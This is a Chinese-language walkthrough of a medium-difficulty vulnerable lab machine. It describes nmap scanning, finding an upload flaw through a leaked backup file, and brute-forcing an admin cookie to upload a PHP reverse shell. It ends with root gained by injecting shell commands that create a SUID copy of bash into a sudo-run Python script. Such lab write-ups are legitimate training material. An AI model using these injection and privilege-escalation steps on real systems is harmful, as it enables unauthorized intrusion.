主机发现

sudo nmap -sn 192.168.162.0/24

端口扫描

Web

每个目录都看一下,dashboard.html页面可以文件上传,并且调用了main.js文件,可以看一下上传逻辑源码

随便传张图片提示没有被上传,看main.js也分析不出什么东西,也许上传逻辑在ajax.php中而不在main.js。看了下WP,原来还有个ajax.php.bak的备份文件可以被目录爆破出来。下载.bak文件,大致的意思是我们要有管理员的cookie的话就可以上传php文件了否则只能上传txt,还需要有一个值为val1d(不是valid啊)的secure的表单字段,并且上传成功会返回1。试着上传一个php反弹shell。

Getshell

先用python生成大写字母的字典

import string
# 生成包含A-Z大写字母的字典,并每个字母之间换行
dictionary = '\n'.join(string.ascii_uppercase)
# 将字典保存到文件
with open("dictionary.txt", "w") as file:
file.write(dictionary)

用bp来爆破cookie的最后一个字母,然后添加secure表单字段和分割线

最后得到R是最后一个字母,然后可以自然地发现我们的文件上传到/owls目录下了,开启监听,触发shell,成功接收到shell

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-color

提升交互性。

发现有一个叫athena的用户,在家目录中还有一个team-task但是用处不是很大。

进入athena的家目录,可以查看密码文件,把最后换成星号

密码myvulnerableapp*

提权

sudo -l可以以root权限执行那个py文件,第一想法是库劫持。导入了random库,那就劫持这个吧。

在/home/team-tasks目录创建一个random.py,来开启一个bash

import os
os.system("/bin/bash")

发现shell的交互性还不是很好,编辑器里面各种错误。那就用echo

echo 'import os'>random.py
echo 'os.system("/bin/bash")'>>random.py

然而发现这个目录是root所有的没有权限,那试着直接改源文件

find / -name "ramdom.py" 2>/dev/null

但是发现源文件那边的目录也全是root权限,那没办法劫持了,只好回到脚本本身看看有没有利用的点,似乎是一个让我们输入seed来生成cookie的脚本,然后可把输入的seed当成命令来执行。尝试着运行脚本时输入/bin/bash,但是什么都没有发生。

当我把sedd换成

cd /tmp;echo "1">1.txt

发现在/tmp目录确实有1.txt,说明命令是有存在的。那也许不行用直接生成bash的形式来提权,那就通过添加SUID的方式来

但是当我输入cp /bin/bash /tmp/bash ; chmod +s /tmp/bash时,提示目录不存在。。。

那就分两次输入:

1; cp /bin/bash /tmp/bash

1;chmod +s /tmp/bash

然后/tmp/bash -p ,提权成功

碎碎念

中等难度的靶机,上传那边还是挺有趣的,果然目录扫描如果不全的话就寄了。